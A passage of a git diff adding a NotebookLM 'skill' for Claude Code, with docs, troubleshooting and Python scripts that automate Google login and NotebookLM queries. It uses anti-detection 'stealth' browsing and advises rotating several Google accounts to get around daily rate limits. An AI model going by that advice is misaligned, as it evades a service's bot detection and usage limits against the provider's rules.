+notebooks = library.list_notebooks() + +auth = AuthManager() +is_auth = auth.is_authenticated() +``` + +## Data Storage + +Location: `~/.claude/skills/notebooklm/data/` + +``` +data/ +├── library.json # Notebook metadata +├── auth_info.json # Auth status +└── browser_state/ # Browser cookies + └── state.json +``` + +**Security:** Protected by `.gitignore`, never commit. + +## Environment Variables + +Optional `.env` file configuration: + +```env +HEADLESS=false # Browser visibility +SHOW_BROWSER=false # Default display +STEALTH_ENABLED=true # Human behavior +TYPING_WPM_MIN=160 # Typing speed +TYPING_WPM_MAX=240 +DEFAULT_NOTEBOOK_ID= # Default notebook +``` + +## Error Handling + +Common patterns: + +```python +# Using run.py prevents most errors +result = subprocess.run([ + "python", "scripts/run.py", "ask_question.py", + "--question", "Question" +], capture_output=True, text=True) + +if result.returncode != 0: + error = result.stderr + if "rate limit" in error.lower(): + # Wait or switch accounts + pass + elif "not authenticated" in error.lower(): + # Run auth setup + subprocess.run(["python", "scripts/run.py", "auth_manager.py", "setup"]) +``` + +## Rate Limits + +Free Google accounts: 50 queries/day + +Solutions: +1. Wait for reset (midnight PST) +2. Switch accounts with `reauth` +3. Use multiple Google accounts + +## Advanced Patterns + +### Parallel Queries + +```python +import concurrent.futures +import subprocess + +def query(question, notebook_id): + result = subprocess.run([ + "python", "scripts/run.py", "ask_question.py", + "--question", question, + "--notebook-id", notebook_id + ], capture_output=True, text=True) + return result.stdout + +# Run multiple queries simultaneously +with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor: + futures = [ + executor.submit(query, q, nb) + for q, nb in zip(questions, notebooks) + ] + results = [f.result() for f in futures] +``` + +### Batch Processing + +```python +def batch_research(questions, notebook_id): + results = [] + for question in questions: + result = subprocess.run([ + "python", "scripts/run.py", "ask_question.py", + "--question", question, + "--notebook-id", notebook_id + ], capture_output=True, text=True) + results.append(result.stdout) + time.sleep(2) # Avoid rate limits + return results +``` + +## Module Classes + +### NotebookLibrary +- `add_notebook(url, name, topics)` +- `list_notebooks()` +- `search_notebooks(query)` +- `get_notebook(notebook_id)` +- `activate_notebook(notebook_id)` +- `remove_notebook(notebook_id)` + +### AuthManager +- `is_authenticated()` +- `setup_auth(headless=False)` +- `get_auth_info()` +- `clear_auth()` +- `validate_auth()` + +### BrowserSession (internal) +- Handles browser automation +- Manages stealth behavior +- Not intended for direct use + +## Best Practices + +1. **Always use run.py** - Ensures environment +2. **Check auth first** - Before operations +3. **Handle rate limits** - Implement retries +4. **Include context** - Questions are independent +5. **Clean sessions** - Use cleanup_manager \ No newline at end of file diff --git a/skills/notebooklm/references/troubleshooting.md b/skills/notebooklm/references/troubleshooting.md new file mode 100755 index 00000000..992aeb7c --- /dev/null +++ b/skills/notebooklm/references/troubleshooting.md @@ -0,0 +1,376 @@ +# NotebookLM Skill Troubleshooting Guide + +## Quick Fix Table + +| Error | Solution | +|-------|----------| +| ModuleNotFoundError | Use `python scripts/run.py [script].py` | +| Authentication failed | Browser must be visible for setup | +| Browser crash | `python scripts/run.py cleanup_manager.py --preserve-library` | +| Rate limit hit | Wait 1 hour or switch accounts | +| Notebook not found | `python scripts/run.py notebook_manager.py list` | +| Script not working | Always use run.py wrapper | + +## Critical: Always Use run.py + +Most issues are solved by using the run.py wrapper: + +```bash +# ✅ CORRECT - Always: +python scripts/run.py auth_manager.py status +python scripts/run.py ask_question.py --question "..." + +# ❌ WRONG - Never: +python scripts/auth_manager.py status # ModuleNotFoundError! +``` + +## Common Issues and Solutions + +### Authentication Issues + +#### Not authenticated error +``` +Error: Not authenticated. Please run auth setup first. +``` + +**Solution:** +```bash +# Check status +python scripts/run.py auth_manager.py status + +# Setup authentication (browser MUST be visible!) +python scripts/run.py auth_manager.py setup +# User must manually log in to Google + +# If setup fails, try re-authentication +python scripts/run.py auth_manager.py reauth +``` + +#### Authentication expires frequently +**Solution:** +```bash +# Clear old authentication +python scripts/run.py cleanup_manager.py --preserve-library + +# Fresh authentication setup +python scripts/run.py auth_manager.py setup --timeout 15 + +# Use persistent browser profile +export PERSIST_AUTH=true +``` + +#### Google blocks automated login +**Solution:** +1. Use dedicated Google account for automation +2. Enable "Less secure app access" if available +3. ALWAYS use visible browser: +```bash +python scripts/run.py auth_manager.py setup +# Browser MUST be visible - user logs in manually +# NO headless parameter exists - use --show-browser for debugging +``` + +### Browser Issues + +#### Browser crashes or hangs +``` +TimeoutError: Waiting for selector failed +``` + +**Solution:** +```bash +# Kill hanging processes +pkill -f chromium +pkill -f chrome + +# Clean browser state +python scripts/run.py cleanup_manager.py --confirm --preserve-library + +# Re-authenticate +python scripts/run.py auth_manager.py reauth +``` + +#### Browser not found error +**Solution:** +```bash +# Install Chromium via run.py (automatic) +python scripts/run.py auth_manager.py status +# run.py will install Chromium automatically + +# Or manual install if needed +cd ~/.claude/skills/notebooklm +source .venv/bin/activate +python -m patchright install chromium +``` + +### Rate Limiting + +#### Rate limit exceeded (50 queries/day) +**Solutions:** + +**Option 1: Wait** +```bash +# Check when limit resets (usually midnight PST) +date -d "tomorrow 00:00 PST" +``` + +**Option 2: Switch accounts** +```bash +# Clear current auth +python scripts/run.py auth_manager.py clear + +# Login with different account +python scripts/run.py auth_manager.py setup +``` + +**Option 3: Rotate accounts** +```python +# Use multiple accounts +accounts = ["account1", "account2"] +for account in accounts: + # Switch account on rate limit + subprocess.run(["python", "scripts/run.py", "auth_manager.py", "reauth"]) +``` + +### Notebook Access Issues + +#### Notebook not found +**Solution:** +```bash +# List all notebooks +python scripts/run.py notebook_manager.py list + +# Search for notebook +python scripts/run.py notebook_manager.py search --query "keyword" + +# Add notebook if missing +python scripts/run.py notebook_manager.py add \ + --url "https://notebooklm.google.com/..." \ + --name "Name" \ + --topics "topics" +``` + +#### Access denied to notebook +**Solution:** +1. Check if notebook is still shared publicly +2. Re-add notebook with updated URL +3. Verify correct Google account is used + +#### Wrong notebook being used +**Solution:** +```bash +# Check active notebook +python scripts/run.py notebook_manager.py list | grep "active" + +# Activate correct notebook +python scripts/run.py notebook_manager.py activate --id correct-id +``` + +### Virtual Environment Issues + +#### ModuleNotFoundError +``` +ModuleNotFoundError: No module named 'patchright' +``` + +**Solution:** +```bash +# ALWAYS use run.py - it handles venv automatically! +python scripts/run.py [any_script].py + +# run.py will: +# 1. Create .venv if missing +# 2. Install dependencies +# 3. Run the script +``` + +#### Wrong Python version +**Solution:** +```bash +# Check Python version (needs 3.8+) +python --version + +# If wrong version, specify correct Python +python3.8 scripts/run.py auth_manager.py status +``` + +### Network Issues + +#### Connection timeouts +**Solution:** +```bash +# Increase timeout +export TIMEOUT_SECONDS=60 + +# Check connectivity +ping notebooklm.google.com + +# Use proxy if needed +export HTTP_PROXY=http://proxy:port +export HTTPS_PROXY=http://proxy:port +``` + +### Data Issues + +#### Corrupted notebook library +``` +JSON decode error when listing notebooks +``` + +**Solution:** +```bash +# Backup current library +cp ~/.claude/skills/notebooklm/data/library.json library.backup.json + +# Reset library +rm ~/.claude/skills/notebooklm/data/library.json + +# Re-add notebooks +python scripts/run.py notebook_manager.py add --url ... --name ... +``` + +#### Disk space full +**Solution:** +```bash +# Check disk usage +df -h ~/.claude/skills/notebooklm/data/ + +# Clean up +python scripts/run.py cleanup_manager.py --confirm --preserve-library +``` + +## Debugging Techniques + +### Enable verbose logging +```bash +export DEBUG=true +export LOG_LEVEL=DEBUG +python scripts/run.py ask_question.py --question "Test" --show-browser +``` + +### Test individual components +```bash +# Test authentication +python scripts/run.py auth_manager.py status + +# Test notebook access +python scripts/run.py notebook_manager.py list + +# Test browser launch +python scripts/run.py ask_question.py --question "test" --show-browser +``` + +### Save screenshots on error +Add to scripts for debugging: +```python +try: + # Your code +except Exception as e: + page.screenshot(path=f"error_{timestamp}.png") + raise e +``` + +## Recovery Procedures + +### Complete reset +```bash +#!/bin/bash +# Kill processes +pkill -f chromium + +# Backup library if exists +if [ -f ~/.claude/skills/notebooklm/data/library.json ]; then + cp ~/.claude/skills/notebooklm/data/library.json ~/library.backup.json +fi + +# Clean everything +cd ~/.claude/skills/notebooklm +python scripts/run.py cleanup_manager.py --confirm --force + +# Remove venv +rm -rf .venv + +# Reinstall (run.py will handle this) +python scripts/run.py auth_manager.py setup + +# Restore library if backup exists +if [ -f ~/library.backup.json ]; then + mkdir -p ~/.claude/skills/notebooklm/data/ + cp ~/library.backup.json ~/.claude/skills/notebooklm/data/library.json +fi +``` + +### Partial recovery (keep data) +```bash +# Keep auth and library, fix execution +cd ~/.claude/skills/notebooklm +rm -rf .venv + +# run.py will recreate venv automatically +python scripts/run.py auth_manager.py status +``` + +## Error Messages Reference + +### Authentication Errors +| Error | Cause | Solution | +|-------|-------|----------| +| Not authenticated | No valid auth | `run.py auth_manager.py setup` | +| Authentication expired | Session old | `run.py auth_manager.py reauth` | +| Invalid credentials | Wrong account | Check Google account | +| 2FA required | Security challenge | Complete in visible browser | + +### Browser Errors +| Error | Cause | Solution | +|-------|-------|----------| +| Browser not found | Chromium missing | Use run.py (auto-installs) | +| Connection refused | Browser crashed | Kill processes, restart | +| Timeout waiting | Page slow | Increase timeout | +| Context closed | Browser terminated | Check logs for crashes | + +### Notebook Errors +| Error | Cause | Solution | +|-------|-------|----------| +| Notebook not found | Invalid ID | `run.py notebook_manager.py list` | +| Access denied | Not shared | Re-share in NotebookLM | +| Invalid URL | Wrong format | Use full NotebookLM URL | +| No active notebook | None selected | `run.py notebook_manager.py activate` | + +## Prevention Tips + +1. **Always use run.py** - Prevents 90% of issues +2. **Regular maintenance** - Clear browser state weekly +3. **Monitor queries** - Track daily count to avoid limits +4. **Backup library** - Export notebook list regularly +5. **Use dedicated account** - Separate Google account for automation + +## Getting Help + +### Diagnostic information to collect +```bash +# System info +python --version +cd ~/.claude/skills/notebooklm +ls -la + +# Skill status +python scripts/run.py auth_manager.py status +python scripts/run.py notebook_manager.py list | head -5 + +# Check data directory +ls -la ~/.claude/skills/notebooklm/data/ +``` + +### Common questions + +**Q: Why doesn't this work in Claude web UI?** +A: Web UI has no network access. Use local Claude Code. + +**Q: Can I use multiple Google accounts?** +A: Yes, use `run.py auth_manager.py reauth` to switch. + +**Q: How to increase rate limit?** +A: Use multiple accounts or upgrade to Google Workspace. + +**Q: Is this safe for my Google account?** +A: Use dedicated account for automation. Only accesses NotebookLM. \ No newline at end of file diff --git a/skills/notebooklm/references/usage_patterns.md b/skills/notebooklm/references/usage_patterns.md new file mode 100755 index 00000000..ad517e9d --- /dev/null +++ b/skills/notebooklm/references/usage_patterns.md @@ -0,0 +1,338 @@ +# NotebookLM Skill Usage Patterns + +Advanced patterns for using the NotebookLM skill effectively. + +## Critical: Always Use run.py + +**Every command must use the run.py wrapper:** +```bash +# ✅ CORRECT: +python scripts/run.py auth_manager.py status +python scripts/run.py ask_question.py --question "..." + +# ❌ WRONG: +python scripts/auth_manager.py status # Will fail! +``` + +## Pattern 1: Initial Setup + +```bash +# 1. Check authentication (using run.py!) +python scripts/run.py auth_manager.py status + +# 2. If not authenticated, setup (Browser MUST be visible!) +python scripts/run.py auth_manager.py setup +# Tell user: "Please log in to Google in the browser window" + +# 3. Add first notebook - ASK USER FOR DETAILS FIRST! +# Ask: "What does this notebook contain?" +# Ask: "What topics should I tag it with?" +python scripts/run.py notebook_manager.py add \ + --url "https://notebooklm.google.com/notebook/..." \ + --name "User provided name" \ + --description "User provided description" \ # NEVER GUESS! + --topics "user,provided,topics" # NEVER GUESS! +``` + +**Critical Notes:** +- Virtual environment created automatically by run.py +- Browser MUST be visible for authentication +- ALWAYS discover content via query OR ask user for notebook metadata + +## Pattern 2: Adding Notebooks (Smart Discovery!) + +**When user shares a NotebookLM URL:** + +**OPTION A: Smart Discovery (Recommended)** +```bash +# 1. Query the notebook to discover its content +python scripts/run.py ask_question.py \ + --question "What is the content of this notebook? What topics are covered? Provide a complete overview briefly and concisely" \ + --notebook-url "[URL]" + +# 2. Use discovered info to add it +python scripts/run.py notebook_manager.py add \ + --url "[URL]" \ + --name "[Based on content]" \ + --description "[From discovery]" \ + --topics "[Extracted topics]" +``` + +**OPTION B: Ask User (Fallback)** +```bash +# If discovery fails, ask user: +"What does this notebook contain?" +"What topics does it cover?" + +# Then add with user-provided info: +python scripts/run.py notebook_manager.py add \ + --url "[URL]" \ + --name "[User's answer]" \ + --description "[User's description]" \ + --topics "[User's topics]" +``` + +**NEVER:** +- Guess what's in a notebook +- Use generic descriptions +- Skip discovering content + +## Pattern 3: Daily Research Workflow + +```bash +# Check library +python scripts/run.py notebook_manager.py list + +# Research with comprehensive questions +python scripts/run.py ask_question.py \ + --question "Detailed question with all context" \ + --notebook-id notebook-id + +# Follow-up when you see "Is that ALL you need to know?" +python scripts/run.py ask_question.py \ + --question "Follow-up question with previous context" +``` + +## Pattern 4: Follow-Up Questions (CRITICAL!) + +When NotebookLM responds with "EXTREMELY IMPORTANT: Is that ALL you need to know?": + +```python +# 1. STOP - Don't respond to user yet +# 2. ANALYZE - Is answer complete? +# 3. If gaps exist, ask follow-up: +python scripts/run.py ask_question.py \ + --question "Specific follow-up with context from previous answer" + +# 4. Repeat until complete +# 5. Only then synthesize and respond to user +``` + +## Pattern 5: Multi-Notebook Research + +```python +# Query different notebooks for comparison +python scripts/run.py notebook_manager.py activate --id notebook-1 +python scripts/run.py ask_question.py --question "Question" + +python scripts/run.py notebook_manager.py activate --id notebook-2 +python scripts/run.py ask_question.py --question "Same question" + +# Compare and synthesize answers +``` + +## Pattern 6: Error Recovery + +```bash +# If authentication fails +python scripts/run.py auth_manager.py status +python scripts/run.py auth_manager.py reauth # Browser visible! + +# If browser crashes +python scripts/run.py cleanup_manager.py --preserve-library +python scripts/run.py auth_manager.py setup # Browser visible! + +# If rate limited +# Wait or switch accounts +python scripts/run.py auth_manager.py reauth # Login with different account +``` + +## Pattern 7: Batch Processing + +```bash +#!/bin/bash +NOTEBOOK_ID="notebook-id" +QUESTIONS=( + "First comprehensive question" + "Second comprehensive question" + "Third comprehensive question" +) + +for question in "${QUESTIONS[@]}"; do + echo "Asking: $question" + python scripts/run.py ask_question.py \ + --question "$question" \ + --notebook-id "$NOTEBOOK_ID" + sleep 2 # Avoid rate limits +done +``` + +## Pattern 8: Automated Research Script + +```python +#!/usr/bin/env python +import subprocess + +def research_topic(topic, notebook_id): + # Comprehensive question + question = f""" + Explain {topic} in detail: + 1. Core concepts + 2. Implementation details + 3. Best practices + 4. Common pitfalls + 5. Examples + """ + + result = subprocess.run([ + "python", "scripts/run.py", "ask_question.py", + "--question", question, + "--notebook-id", notebook_id + ], capture_output=True, text=True) + + return result.stdout +``` + +## Pattern 9: Notebook Organization + +```python +# Organize by domain - with proper metadata +# ALWAYS ask user for descriptions! + +# Backend notebooks +add_notebook("Backend API", "Complete API documentation", "api,rest,backend") +add_notebook("Database", "Schema and queries", "database,sql,backend") + +# Frontend notebooks +add_notebook("React Docs", "React framework documentation", "react,frontend") +add_notebook("CSS Framework", "Styling documentation", "css,styling,frontend") + +# Search by domain +python scripts/run.py notebook_manager.py search --query "backend" +python scripts/run.py notebook_manager.py search --query "frontend" +``` + +## Pattern 10: Integration with Development + +```python +# Query documentation during development +def check_api_usage(api_endpoint): + result = subprocess.run([ + "python", "scripts/run.py", "ask_question.py", + "--question", f"Parameters and response format for {api_endpoint}", + "--notebook-id", "api-docs" + ], capture_output=True, text=True) + + # If follow-up needed + if "Is that ALL you need" in result.stdout: + # Ask for examples + follow_up = subprocess.run([ + "python", "scripts/run.py", "ask_question.py", + "--question", f"Show code examples for {api_endpoint}", + "--notebook-id", "api-docs" + ], capture_output=True, text=True) + + return combine_answers(result.stdout, follow_up.stdout) +``` + +## Best Practices + +### 1. Question Formulation +- Be specific and comprehensive +- Include all context in each question +- Request structured responses +- Ask for examples when needed + +### 2. Notebook Management +- **ALWAYS ask user for metadata** +- Use descriptive names +- Add comprehensive topics +- Keep URLs current + +### 3. Performance +- Batch related questions +- Use parallel processing for different notebooks +- Monitor rate limits (50/day) +- Switch accounts if needed + +### 4. Error Handling +- Always use run.py to prevent venv issues +- Check auth before operations +- Implement retry logic +- Have fallback notebooks ready + +### 5. Security +- Use dedicated Google account +- Never commit data/ directory +- Regularly refresh auth +- Track all access + +## Common Workflows for Claude + +### Workflow 1: User Sends NotebookLM URL + +```python +# 1. Detect URL in message +if "notebooklm.google.com" in user_message: + url = extract_url(user_message) + + # 2. Check if in library + notebooks = run("notebook_manager.py list") + + if url not in notebooks: + # 3. ASK USER FOR METADATA (CRITICAL!) + name = ask_user("What should I call this notebook?") + description = ask_user("What does this notebook contain?") + topics = ask_user("What topics does it cover?") + + # 4. Add with user-provided info + run(f"notebook_manager.py add --url {url} --name '{name}' --description '{description}' --topics '{topics}'") + + # 5. Use the notebook + answer = run(f"ask_question.py --question '{user_question}'") +``` + +### Workflow 2: Research Task + +```python +# 1. Understand task +task = "Implement feature X" + +# 2. Formulate comprehensive questions +questions = [ + "Complete implementation guide for X", + "Error handling for X", + "Performance considerations for X" +] + +# 3. Query with follow-ups +for q in questions: + answer = run(f"ask_question.py --question '{q}'") + + # Check if follow-up needed + if "Is that ALL you need" in answer: + # Ask more specific question + follow_up = run(f"ask_question.py --question 'Specific detail about {q}'") + +# 4. Synthesize and implement +``` + +## Tips and Tricks + +1. **Always use run.py** - Prevents all venv issues +2. **Ask for metadata** - Never guess notebook contents +3. **Use verbose questions** - Include all context +4. **Follow up automatically** - When you see the prompt +5. **Monitor rate limits** - 50 queries per day +6. **Batch operations** - Group related queries +7. **Export important answers** - Save locally +8. **Version control notebooks** - Track changes +9. **Test auth regularly** - Before important tasks +10. **Document everything** - Keep notes on notebooks + +## Quick Reference + +```bash +# Always use run.py! +python scripts/run.py [script].py [args] + +# Common operations +run.py auth_manager.py status # Check auth +run.py auth_manager.py setup # Login (browser visible!) +run.py notebook_manager.py list # List notebooks +run.py notebook_manager.py add ... # Add (ask user for metadata!) +run.py ask_question.py --question ... # Query +run.py cleanup_manager.py ... # Clean up +``` + +**Remember:** When in doubt, use run.py and ask the user for notebook details! \ No newline at end of file diff --git a/skills/notebooklm/requirements.txt b/skills/notebooklm/requirements.txt new file mode 100755 index 00000000..6e380086 --- /dev/null +++ b/skills/notebooklm/requirements.txt @@ -0,0 +1,10 @@ +# NotebookLM Skill Dependencies +# These will be installed in the skill's local .venv + +# Core browser automation with anti-detection +# Note: After installation, run: patchright install chrome +# (Chrome is required, not Chromium, for cross-platform reliability) +patchright==1.55.2 + +# Environment management +python-dotenv==1.0.0 \ No newline at end of file diff --git a/skills/notebooklm/scripts/__init__.py b/skills/notebooklm/scripts/__init__.py new file mode 100755 index 00000000..e77fffc9 --- /dev/null +++ b/skills/notebooklm/scripts/__init__.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python3 +""" +NotebookLM Skill Scripts Package +Provides automatic environment management for all scripts +""" + +import os +import sys +import subprocess +from pathlib import Path + + +def ensure_venv_and_run(): + """ + Ensure virtual environment exists and run the requested script. + This is called when any script is imported or run directly. + """ + # Only do this if we're not already in the skill's venv + skill_dir = Path(__file__).parent.parent + venv_dir = skill_dir / ".venv" + + # Check if we're in a venv + in_venv = hasattr(sys, 'real_prefix') or ( + hasattr(sys, 'base_prefix') and sys.base_prefix != sys.prefix + ) + + # Check if it's OUR venv + if in_venv: + venv_path = Path(sys.prefix) + if venv_path == venv_dir: + # We're already in the correct venv + return + + # We need to set up or switch to our venv + if not venv_dir.exists(): + print("🔧 First-time setup detected...") + print(" Creating isolated environment for NotebookLM skill...") + print(" This ensures clean dependency management...") + + # Create venv + import venv + venv.create(venv_dir, with_pip=True) + + # Install requirements + requirements_file = skill_dir / "requirements.txt" + if requirements_file.exists(): + if os.name == 'nt': # Windows + pip_exe = venv_dir / "Scripts" / "pip.exe" + else: + pip_exe = venv_dir / "bin" / "pip" + + print(" Installing dependencies in isolated environment...") + subprocess.run( + [str(pip_exe), "install", "-q", "-r", str(requirements_file)], + check=True + ) + + # Also install patchright's chromium + print(" Setting up browser automation...") + if os.name == 'nt': + python_exe = venv_dir / "Scripts" / "python.exe" + else: + python_exe = venv_dir / "bin" / "python" + + subprocess.run( + [str(python_exe), "-m", "patchright", "install", "chromium"], + check=True, + capture_output=True + ) + + print("✅ Environment ready! All dependencies isolated in .venv/") + + # If we're here and not in the venv, we should recommend using the venv + if not in_venv: + print("\n⚠️ Running outside virtual environment") + print(" Recommended: Use scripts/run.py to ensure clean execution") + print(" Or activate: source .venv/bin/activate") + + +# Check environment when module is imported +ensure_venv_and_run() \ No newline at end of file diff --git a/skills/notebooklm/scripts/ask_question.py b/skills/notebooklm/scripts/ask_question.py new file mode 100755 index 00000000..aa47e4bf --- /dev/null +++ b/skills/notebooklm/scripts/ask_question.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python3 +""" +Simple NotebookLM Question Interface +Based on MCP server implementation - simplified without sessions + +Implements hybrid auth approach: +- Persistent browser profile (user_data_dir) for fingerprint consistency +- Manual cookie injection from state.json for session cookies (Playwright bug workaround) +See: https://github.com/microsoft/playwright/issues/36139 +""" + +import argparse +import sys +import time +import re +from pathlib import Path + +from patchright.sync_api import sync_playwright + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent)) + +from auth_manager import AuthManager +from notebook_manager import NotebookLibrary +from config import QUERY_INPUT_SELECTORS, RESPONSE_SELECTORS +from browser_utils import BrowserFactory, StealthUtils + + +# Follow-up reminder (adapted from MCP server for stateless operation) +# Since we don't have persistent sessions, we encourage comprehensive questions +FOLLOW_UP_REMINDER = ( + "\n\nEXTREMELY IMPORTANT: Is that ALL you need to know? " + "You can always ask another question! Think about it carefully: " + "before you reply to the user, review their original request and this answer. " + "If anything is still unclear or missing, ask me another comprehensive question " + "that includes all necessary context (since each question opens a new browser session)." +) + + +def ask_notebooklm(question: str, notebook_url: str, headless: bool = True) -> str: + """ + Ask a question to NotebookLM + + Args: + question: Question to ask + notebook_url: NotebookLM notebook URL + headless: Run browser in headless mode + + Returns: + Answer text from NotebookLM + """ + auth = AuthManager() + + if not auth.is_authenticated(): + print("⚠️ Not authenticated. Run: python auth_manager.py setup") + return None + + print(f"💬 Asking: {question}") + print(f"📚 Notebook: {notebook_url}") + + playwright = None + context = None + + try: + # Start playwright + playwright = sync_playwright().start() + + # Launch persistent browser context using factory + context = BrowserFactory.launch_persistent_context( + playwright, + headless=headless + ) + + # Navigate to notebook + page = context.new_page() + print(" 🌐 Opening notebook...") + page.goto(notebook_url, wait_until="domcontentloaded") + + # Wait for NotebookLM + page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=10000) + + # Wait for query input (MCP approach) + print(" ⏳ Waiting for query input...") + query_element = None + + for selector in QUERY_INPUT_SELECTORS: + try: + query_element = page.wait_for_selector( + selector, + timeout=10000, + state="visible" # Only check visibility, not disabled! + ) + if query_element: + print(f" ✓ Found input: {selector}") + break + except: + continue + + if not query_element: + print(" ❌ Could not find query input") + return None + + # Type question (human-like, fast) + print(" ⏳ Typing question...") + + # Use primary selector for typing + input_selector = QUERY_INPUT_SELECTORS[0] + StealthUtils.human_type(page, input_selector, question) + + # Submit + print(" 📤 Submitting...") + page.keyboard.press("Enter") + + # Small pause + StealthUtils.random_delay(500, 1500) + + # Wait for response (MCP approach: poll for stable text) + print(" ⏳ Waiting for answer...") + + answer = None + stable_count = 0 + last_text = None + deadline = time.time() + 120 # 2 minutes timeout + + while time.time() < deadline: + # Check if NotebookLM is still thinking (most reliable indicator) + try: + thinking_element = page.query_selector('div.thinking-message') + if thinking_element and thinking_element.is_visible(): + time.sleep(1) + continue + except: + pass + + # Try to find response with MCP selectors + for selector in RESPONSE_SELECTORS: + try: + elements = page.query_selector_all(selector) + if elements: + # Get last (newest) response + latest = elements[-1] + text = latest.inner_text().strip() + + if text: + if text == last_text: + stable_count += 1 + if stable_count >= 3: # Stable for 3 polls + answer = text + break + else: + stable_count = 0 + last_text = text + except: + continue + + if answer: + break + + time.sleep(1) + + if not answer: + print(" ❌ Timeout waiting for answer") + return None + + print(" ✅ Got answer!") + # Add follow-up reminder to encourage Claude to ask more questions + return answer + FOLLOW_UP_REMINDER + + except Exception as e: + print(f" ❌ Error: {e}") + import traceback + traceback.print_exc() + return None + + finally: + # Always clean up + if context: + try: + context.close() + except: + pass + + if playwright: + try: + playwright.stop() + except: + pass + + +def main(): + parser = argparse.ArgumentParser(description='Ask NotebookLM a question') + + parser.add_argument('--question', required=True, help='Question to ask') + parser.add_argument('--notebook-url', help='NotebookLM notebook URL') + parser.add_argument('--notebook-id', help='Notebook ID from library') + parser.add_argument('--show-browser', action='store_true', help='Show browser') + + args = parser.parse_args() + + # Resolve notebook URL + notebook_url = args.notebook_url + + if not notebook_url and args.notebook_id: + library = NotebookLibrary() + notebook = library.get_notebook(args.notebook_id) + if notebook: + notebook_url = notebook['url'] + else: + print(f"❌ Notebook '{args.notebook_id}' not found") + return 1 + + if not notebook_url: + # Check for active notebook first + library = NotebookLibrary() + active = library.get_active_notebook() + if active: + notebook_url = active['url'] + print(f"📚 Using active notebook: {active['name']}") + else: + # Show available notebooks + notebooks = library.list_notebooks() + if notebooks: + print("\n📚 Available notebooks:") + for nb in notebooks: + mark = " [ACTIVE]" if nb.get('id') == library.active_notebook_id else "" + print(f" {nb['id']}: {nb['name']}{mark}") + print("\nSpecify with --notebook-id or set active:") + print("python scripts/run.py notebook_manager.py activate --id ID") + else: + print("❌ No notebooks in library. Add one first:") + print("python scripts/run.py notebook_manager.py add --url URL --name NAME --description DESC --topics TOPICS") + return 1 + + # Ask the question + answer = ask_notebooklm( + question=args.question, + notebook_url=notebook_url, + headless=not args.show_browser + ) + + if answer: + print("\n" + "=" * 60) + print(f"Question: {args.question}") + print("=" * 60) + print() + print(answer) + print() + print("=" * 60) + return 0 + else: + print("\n❌ Failed to get answer") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/skills/notebooklm/scripts/auth_manager.py b/skills/notebooklm/scripts/auth_manager.py new file mode 100755 index 00000000..54c8b3bc --- /dev/null +++ b/skills/notebooklm/scripts/auth_manager.py @@ -0,0 +1,358 @@ +#!/usr/bin/env python3 +""" +Authentication Manager for NotebookLM +Handles Google login and browser state persistence +Based on the MCP server implementation + +Implements hybrid auth approach: +- Persistent browser profile (user_data_dir) for fingerprint consistency +- Manual cookie injection from state.json for session cookies (Playwright bug workaround) +See: https://github.com/microsoft/playwright/issues/36139 +""" + +import json +import time +import argparse +import shutil +import re +import sys +from pathlib import Path +from typing import Optional, Dict, Any + +from patchright.sync_api import sync_playwright, BrowserContext + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent)) + +from config import BROWSER_STATE_DIR, STATE_FILE, AUTH_INFO_FILE, DATA_DIR +from browser_utils import BrowserFactory + + +class AuthManager: + """ + Manages authentication and browser state for NotebookLM + + Features: + - Interactive Google login + - Browser state persistence + - Session restoration + - Account switching + """ + + def __init__(self): + """Initialize the authentication manager""" + # Ensure directories exist + DATA_DIR.mkdir(parents=True, exist_ok=True) + BROWSER_STATE_DIR.mkdir(parents=True, exist_ok=True) + + self.state_file = STATE_FILE + self.auth_info_file = AUTH_INFO_FILE + self.browser_state_dir = BROWSER_STATE_DIR + + def is_authenticated(self) -> bool: + """Check if valid authentication exists""" + if not self.state_file.exists(): + return False + + # Check if state file is not too old (7 days) + age_days = (time.time() - self.state_file.stat().st_mtime) / 86400 + if age_days > 7: + print(f"⚠️ Browser state is {age_days:.1f} days old, may need re-authentication") + + return True + + def get_auth_info(self) -> Dict[str, Any]: + """Get authentication information""" + info = { + 'authenticated': self.is_authenticated(), + 'state_file': str(self.state_file), + 'state_exists': self.state_file.exists() + } + + if self.auth_info_file.exists(): + try: + with open(self.auth_info_file, 'r') as f: + saved_info = json.load(f) + info.update(saved_info) + except Exception: + pass + + if info['state_exists']: + age_hours = (time.time() - self.state_file.stat().st_mtime) / 3600 + info['state_age_hours'] = age_hours + + return info + + def setup_auth(self, headless: bool = False, timeout_minutes: int = 10) -> bool: + """ + Perform interactive authentication setup + + Args: + headless: Run browser in headless mode (False for login) + timeout_minutes: Maximum time to wait for login + + Returns: + True if authentication successful + """ + print("🔐 Starting authentication setup...") + print(f" Timeout: {timeout_minutes} minutes") + + playwright = None + context = None + + try: + playwright = sync_playwright().start() + + # Launch using factory + context = BrowserFactory.launch_persistent_context( + playwright, + headless=headless + ) + + # Navigate to NotebookLM + page = context.new_page() + page.goto("https://notebooklm.google.com", wait_until="domcontentloaded") + + # Check if already authenticated + if "notebooklm.google.com" in page.url and "accounts.google.com" not in page.url: + print(" ✅ Already authenticated!") + self._save_browser_state(context) + return True + + # Wait for manual login + print("\n ⏳ Please log in to your Google account...") + print(f" ⏱️ Waiting up to {timeout_minutes} minutes for login...") + + try: + # Wait for URL to change to NotebookLM (regex ensures it's the actual domain, not a parameter) + timeout_ms = int(timeout_minutes * 60 * 1000) + page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=timeout_ms) + + print(f" ✅ Login successful!") + + # Save authentication state + self._save_browser_state(context) + self._save_auth_info() + return True + + except Exception as e: + print(f" ❌ Authentication timeout: {e}") + return False + + except Exception as e: + print(f" ❌ Error: {e}") + return False + + finally: + # Clean up browser resources + if context: + try: + context.close() + except Exception: + pass + + if playwright: + try: + playwright.stop() + except Exception: + pass + + def _save_browser_state(self, context: BrowserContext): + """Save browser state to disk""" + try: + # Save storage state (cookies, localStorage) + context.storage_state(path=str(self.state_file)) + print(f" 💾 Saved browser state to: {self.state_file}") + except Exception as e: + print(f" ❌ Failed to save browser state: {e}") + raise + + def _save_auth_info(self): + """Save authentication metadata""" + try: + info = { + 'authenticated_at': time.time(), + 'authenticated_at_iso': time.strftime('%Y-%m-%d %H:%M:%S') + } + with open(self.auth_info_file, 'w') as f: + 